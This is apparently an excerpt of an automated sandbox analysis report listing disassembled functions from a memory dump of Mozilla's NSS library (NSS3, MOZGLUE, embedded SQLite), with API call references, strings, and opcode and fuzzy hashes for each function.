Function 6D023CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6D0238BD), ref: 6D023CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6D0238BD), ref: 6D023CD1

Part of subcall function 6D020BE0: malloc.MOZGLUE(6D018D2D,?,00000000,?), ref: 6D020BF8
Part of subcall function 6D020BE0: TlsGetValue.KERNEL32(6D018D2D,?,00000000,?), ref: 6D020C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6D0238BD), ref: 6D023CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6D0FB369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6D0238BD), ref: 6D023D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6D0238BD), ref: 6D023D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6D0FB369,000000FF,00000000,00000000,00000000,6D0238BD), ref: 6D023D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6D023D47
free.MOZGLUE(00000000), ref: 6D023D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6D0238BD), ref: 6D023D6F

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: 3e1163882be80a7889d7a87e8d25021c0e9a4a3b4d533178941d556d4d4cb1d2
Instruction ID: b1ccd9e58350e9af65b454d8345d78f149e36782dd30a3242d413dd14ec0d7f5
Opcode Fuzzy Hash: 3e1163882be80a7889d7a87e8d25021c0e9a4a3b4d533178941d556d4d4cb1d2
Instruction Fuzzy Hash: 5F21DB71B4511337FB20567B7C0AF7B75ADDF86664B140239B939D65C0EB61C8008671

Function 6D024DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6D02536F,00000022,?,?,00000000,?), ref: 6D024E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6D024F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6D024F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6D024FAE
free.MOZGLUE(?), ref: 6D024FC8

Strings

%s=%c%s%c, xrefs: 6D024FA9
%s=%s, xrefs: 6D024F89

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 5d42b37a4ca4dbe90a7c791037c4a4d39146ada8b5e1341723fa46eab432f378
Instruction ID: 88a95b55abe60f8a19dd6ffe74dcbb9189d75d16b64fbfa4a32076efb2165e41
Opcode Fuzzy Hash: 5d42b37a4ca4dbe90a7c791037c4a4d39146ada8b5e1341723fa46eab432f378
Instruction Fuzzy Hash: 54515A71E0A157ABFF01CA6AC8907FFBBF5AFAE314F544065E894A7241D335C80587A1

Function 6CF67D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF67E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF67E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CF67EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF67F2E

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF67ED8, 6CF67F08, 6CF67F19
%s at line %d of [%.10s], xrefs: 6CF67EE7, 6CF67F28
database corruption, xrefs: 6CF67EE2, 6CF67F23

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 135868615e8481ee94494feb82d97e5e3d87c307e0916c9fa9c7e8218a710e58
Instruction ID: ccf8034d4269bc9576db4929666266507d33f62beebbe8956067c1706ab86c84
Opcode Fuzzy Hash: 135868615e8481ee94494feb82d97e5e3d87c307e0916c9fa9c7e8218a710e58
Instruction Fuzzy Hash: 3561E171A042059FDB05CF6AD890FAA77B2BF55308F1445AAED088FB52D771EC49CBA0

Function 6CF4FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF4FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF4FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF4FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF4FE83

Part of subcall function 6CF4FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CF4FEFA
Part of subcall function 6CF4FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CF4FF3B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF4FD64, 6CF4FE26
%s at line %d of [%.10s], xrefs: 6CF4FD73, 6CF4FE35
database corruption, xrefs: 6CF4FD6E, 6CF4FE30

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 994d35bfbc468f4d3a6f8ae69ba903fe6cd9883afa9153730c86a35954412ac9
Instruction ID: 0690ad21883ea1b3ad807c28d4fae6252f042d7ef583c5fc8c8c3b8b366cc7b8
Opcode Fuzzy Hash: 994d35bfbc468f4d3a6f8ae69ba903fe6cd9883afa9153730c86a35954412ac9
Instruction Fuzzy Hash: 2A517371A002059FDB44CF99D890BAEBBB1FF48308F158069DA09AB757E771ED51CB90

Function 6D092F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D092FFD
sqlite3_initialize.NSS3 ref: 6D093007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6D093032
sqlite3_mprintf.NSS3(6D0FAAF9,?), ref: 6D093073
sqlite3_free.NSS3(?), ref: 6D0930B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6D0930C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6D0930BB

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 84c3b8ae846265904407f255eb75d8ef156b7dae4e5c1066198ea8fd468b5367
Instruction ID: 215373e896764d3b938cd9786266be760f81180582745aa7b30240735a7c41c1
Opcode Fuzzy Hash: 84c3b8ae846265904407f255eb75d8ef156b7dae4e5c1066198ea8fd468b5367
Instruction Fuzzy Hash: 6941BE71A00606AFEB10CF25D890B9AB7E5FF88364F058528EC598B741E731F995CF90

Function 6CFD8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CFE124D,00000001), ref: 6CFD8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CFE124D,00000001), ref: 6CFD8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CFE124D,00000001), ref: 6CFD8D73
PR_Unlock.NSS3(?,?,?,?,?,6CFE124D,00000001), ref: 6CFD8D8C

Part of subcall function 6D06DD70: TlsGetValue.KERNEL32 ref: 6D06DD8C
Part of subcall function 6D06DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D06DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CFE124D,00000001), ref: 6CFD8DBA

Strings

KRAM, xrefs: 6CFD8D3E
KRAM, xrefs: 6CFD8CF9

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 31aa9e0854089a0dcefc238ecfb561f56272af57d26cb49fdf722bd4c1ed0d27
Instruction ID: ac9fd7e10ef3fd9f3907f31a0c144bd527ca523af36c5d37215328a04d3c45da
Opcode Fuzzy Hash: 31aa9e0854089a0dcefc238ecfb561f56272af57d26cb49fdf722bd4c1ed0d27
Instruction Fuzzy Hash: 02217CB5A046018FDB00EF39C58475ABBF1FF85308F1A896AD99887741EB31E881CB91

Function 6D0D0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6D0D0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6D0D0EFA

Part of subcall function 6CFBAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CFBAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0D0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0D0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0D0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0D0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6D0D0ED9, 6D0D0EE5, 6D0D0F06, 6D0D0F0B
Aborting, xrefs: 6D0D0EB3

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 224177cace141b381910238de07d8f2673a4647efc70f83c62bebe8e79a6a20e
Instruction ID: ef29328bcfc9eef3b77652563d5f1ab24ecf31ec4b8418affffea7e39f1a90a3
Opcode Fuzzy Hash: 224177cace141b381910238de07d8f2673a4647efc70f83c62bebe8e79a6a20e
Instruction Fuzzy Hash: E101C0B5800204BBDF01AF66EC46AAB3F7DEF86364B014029FE1997201D7B1E91087E2

Function 6D094D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6D094DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6D094DE0

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6D094DCB
%s at line %d of [%.10s], xrefs: 6D094DDA
invalid, xrefs: 6D094DB8
misuse, xrefs: 6D094DD5
API call with %s database connection pointer, xrefs: 6D094DBD

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: ab1e931220d3d0749b546b1469cfc599c2c9be0cf2dad04da4467d0edcad2404
Instruction ID: 0839b3a224468995e36e8ebd45109fe8e9df31259b27a61aa354284aed007d71
Opcode Fuzzy Hash: ab1e931220d3d0749b546b1469cfc599c2c9be0cf2dad04da4467d0edcad2404
Instruction Fuzzy Hash: B7F05929E165253BF7105114DC10FB637D55F09314F5220A2EE2C6F293D605EA4082D8

Function 6D094DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6D094E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6D094E4D

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6D094E38
%s at line %d of [%.10s], xrefs: 6D094E47
invalid, xrefs: 6D094E25
misuse, xrefs: 6D094E42
API call with %s database connection pointer, xrefs: 6D094E2A

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 5713b2c933a8e34a1a3622e56f3af54bcf878b40407eb7f22003ff71ff5c3498
Instruction ID: 8d316665eb902c7d0d133a714dcd198ce8d22f0567bb4a7350ea1ffa78aed2cc
Opcode Fuzzy Hash: 5713b2c933a8e34a1a3622e56f3af54bcf878b40407eb7f22003ff71ff5c3498
Instruction Fuzzy Hash: 7EF02E15F885293FF7101114AC10FB637C9570D319F5520A2EF2C6F2D3D615D96152E5

Function 6CFC9FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFCA086
EnterCriticalSection.KERNEL32(?), ref: 6CFCA09B
PR_Unlock.NSS3(?), ref: 6CFCA0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFCA0E9
TlsGetValue.KERNEL32 ref: 6CFCA11B
EnterCriticalSection.KERNEL32(?), ref: 6CFCA12F
PR_Unlock.NSS3(?), ref: 6CFCA148

Part of subcall function 6CFE1A40: PR_Now.NSS3(?,00000000,6CFC28AD,00000000,?,6CFDF09A,00000000,6CFC28AD,6CFC93B0,?,6CFC93B0,6CFC28AD,00000000,?,00000000), ref: 6CFE1A65

Part of subcall function 6CFE1940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CFE4126,?), ref: 6CFE1966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFCA1A3

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 5e4cceebeca8473303303280a785a7fb483fae08f482d4fc93dd754ee04b1319
Instruction ID: a40fc652b97df2ec6eb2722b4ac701efbcc87ffd3f1dab5919736f9973b0889a
Opcode Fuzzy Hash: 5e4cceebeca8473303303280a785a7fb483fae08f482d4fc93dd754ee04b1319
Instruction Fuzzy Hash: 9951EBB5F002029BEB109F75DC44BABB7F9AF86348B164429DC29D7701EB31F945CA92

Function 6D000C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6D001444,?,00000001,?,00000000,00000000,?,?,6D001444,?,?,00000000,?,?), ref: 6D000CB3

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6D001444,?,00000001,?,00000000,00000000,?,?,6D001444,?), ref: 6D000DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6D001444,?,00000001,?,00000000,00000000,?,?,6D001444,?), ref: 6D000DEC

Part of subcall function 6D020F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CFC2AF5,?,?,?,?,?,6CFC0A1B,00000000), ref: 6D020F1A
Part of subcall function 6D020F10: malloc.MOZGLUE(00000001), ref: 6D020F30
Part of subcall function 6D020F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6D020F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6D001444,?,00000001,?,00000000,00000000,?), ref: 6D000DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6D001444,?,00000001,?,00000000), ref: 6D000E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6D001444,?,00000001,?,00000000,00000000,?), ref: 6D000E53
PR_GetCurrentThread.NSS3(?,?,?,?,6D001444,?,00000001,?,00000000,00000000,?,?,6D001444,?,?,00000000), ref: 6D000E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6D001444,?,00000001,?,00000000,00000000,?), ref: 6D000E79

Part of subcall function 6D011560: TlsGetValue.KERNEL32(00000000,?,6CFE0844,?), ref: 6D01157A
Part of subcall function 6D011560: EnterCriticalSection.KERNEL32(?,?,?,6CFE0844,?), ref: 6D01158F
Part of subcall function 6D011560: PR_Unlock.NSS3(?,?,?,?,6CFE0844,?), ref: 6D0115B2

Part of subcall function 6CFDB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CFE1397,00000000,?,6CFDCF93,5B5F5EC0,00000000,?,6CFE1397,?), ref: 6CFDB1CB
Part of subcall function 6CFDB1A0: free.MOZGLUE(5B5F5EC0,?,6CFDCF93,5B5F5EC0,00000000,?,6CFE1397,?), ref: 6CFDB1D2

Part of subcall function 6CFD89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CFD88AE,-00000008), ref: 6CFD8A04
Part of subcall function 6CFD89E0: EnterCriticalSection.KERNEL32(?), ref: 6CFD8A15
Part of subcall function 6CFD89E0: memset.VCRUNTIME140(6CFD88AE,00000000,00000132), ref: 6CFD8A27
Part of subcall function 6CFD89E0: PR_Unlock.NSS3(?), ref: 6CFD8A35

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: f8496d53ee34fc399d442291b7def31afe38bb09854da1d1d4a60e416deebc74
Instruction ID: e14a71d0f4d6d3e9c516a6c8c1b7a124b8f6abba7d811aa92b0af5b9291f6231
Opcode Fuzzy Hash: f8496d53ee34fc399d442291b7def31afe38bb09854da1d1d4a60e416deebc74
Instruction Fuzzy Hash: 9751B4B6D042026FFB119F65EC81BBF37A8AF09258F454425ED09A7312FB31ED1586E2

Function 6CFB6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CFB6ED8
sqlite3_value_text.NSS3(?,?), ref: 6CFB6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CFB6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CFB6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CFB6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CFB7010
sqlite3_value_blob.NSS3(?,?), ref: 6CFB701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CFB7052

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

